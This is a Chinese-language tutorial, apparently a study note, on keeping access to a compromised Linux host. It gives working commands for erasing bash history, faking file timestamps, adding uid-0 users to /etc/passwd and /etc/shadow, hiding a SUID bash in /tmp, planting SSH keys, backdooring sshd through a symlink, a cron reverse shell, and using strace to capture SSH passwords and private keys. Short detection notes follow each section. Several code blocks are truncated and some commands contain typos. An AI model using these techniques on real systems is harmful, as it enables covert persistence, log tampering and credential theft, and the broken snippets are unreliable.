Linux权限维持
0x00 隐藏技巧
修改文件/终端属性
修改文件的生成时间
touch -r index.php shell.php
touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件
文件锁定
Linux中使用chattr
命令来防止root和其他管理用户误删除和修改重要文件以及目录,此权限是用ls -l
查看不出来的。
1 | chattr +i test.php #锁定文件 |
历史操作命令
[space]set +o history #备注:[space]表示空格。并且由于空格的原因,该命令本身也不会被记录。
上面的命令会临时禁用历史功能,即执行后的命令不会记录在历史中
[space]set -o history #将环境恢复原状
删除历史记录中的指定命令
history | grep "keyword"
输出了历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:
history -d [num]
大规模删除历史操作记录
set -i '150,$d' .bash_history #只保留前150行
0x01 添加用户
添加普通用户
1 | # 创建一个用户名guest,密码123456的普通用户 |
添加root用户
1 | # 创建一个用户名guest,密码123456的root用户 |
passwd写入
(注:现在较新的系统无法成功利用 在su切换用户时会提示用户不存在)
1 | /etc/passwd 各部分含义: |
添加超级用户
1 | $echo "test:savbSWc4rx8NY:hacker:/root:/bin/bash" >> /etc/passwd |
一些系统中,存放着加密后的用户口令字。虽然这个字段存放的只是用户口令的加密串,不是明文,但
是由于/etc/passwd
文件对所有用户都可读,所以这仍是一个安全隐患。因此,现在许多Linux系统都使
用了shadow技术,把真正加密后的用户口令字段存放到/etc/shadow
文件中,而在/etc/passwd
文件的
口令字段中只存放了一个特殊的字符,例如"x"或者"*"
如果系统不允许uid=0的用户远程登陆,可以增加一个普通用户账号
echo "test:savbSWc4rx8NY:-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
排查
1 | # 查询特权用户特权用户(uid 为0) |
0x02 SUID shell
SUID shell 是一种可用于以拥有者权限运行的shell
使用
创建suid权限的文件
1 | cp /bin/bash /tmp/.woot |
这样做相当于复制了一些新的bash到tmp目录下,然后可以在使用它时调用root权限
使用普通用户运行
1 | /tmp/.woot |
排查
1 | #查找具有suid的权限的应用 |
0x03 ssh公私钥
使用
在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配,如果匹配成功就可以登录了。
客户端
ssh-keygen -t rsa
进入
/root/.ssh/
文件夹即可查看到生成公私钥,id_rsa
为私钥,id_rsa.pub
为公钥,
将公钥复制放到目标机器上的 .ssh/authorized_keys
中
echo id_rsa.pub >> .ssh/authorized_keys
排查
查看 /root/.ssh/authoritized_keys
是否被修改
0x04 软连接
使用
通过软连接建立一个ssh后门:
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=8888
(注:如果目标在执行软连接时使用的其他账户创建的,那么在登陆时也要选择 对应的账户去登录,而非root账户)
执行完后
在任意机器上使用ssh root@xxx.xxx.xxx.xxx -p 8888
即可连接
排查
通过查看端口或者进程都会发现异常连接 使用 kill -s 9 PID
杀掉进程即可清除后门
0x05 crontab反弹shell
使用
cron表达式在线⽣成:http://qqe2.com/cron
- 创建shell脚本脚本
1 |
|
chmod +sx etc/test.sh
- crontab -e 设置定时任务
1 | # 每分钟执行一次 |
重启crond服务就可用nc接受shell service cornd restart
排查
查看可疑的定时任务列表
crontab -e
0x06 OpenSSH 后门
使用
利用openssh后门,设置SSH后门密码及root密码记录位置,隐蔽性较强,不易被发现
1 | a、备份SSH配置文件 |
排查
1 | #利用strace查找ssh后门 |
0x07 strace后门
strace是一个动态跟踪工具,它可以跟踪系统调用的执行。我们可以把它当作一个键盘记录的后门,来扩大我们的信息收集范围。通过其他方式拿到shell,通过histroy,流量抓包、或者本地没有翻到密码的情况下。我们要想获取当前 主机的密码,或者是通过这台主机连接到其他主机的密码。
记录sshd进程明文密码
1 | (strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e |
当用户通过密码登陆时,使用如下命令查看记录的密码
1 | grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log |
记录sshd私钥
1 | (strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e |
当用户通过私钥登陆时,使用如下命令查看记录的私钥
1 | grep 'PRIVATE KEY' /tmp/.sshd.log |
通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作。
1 | #vim /etc/bashrc或者 ~/.bashrc |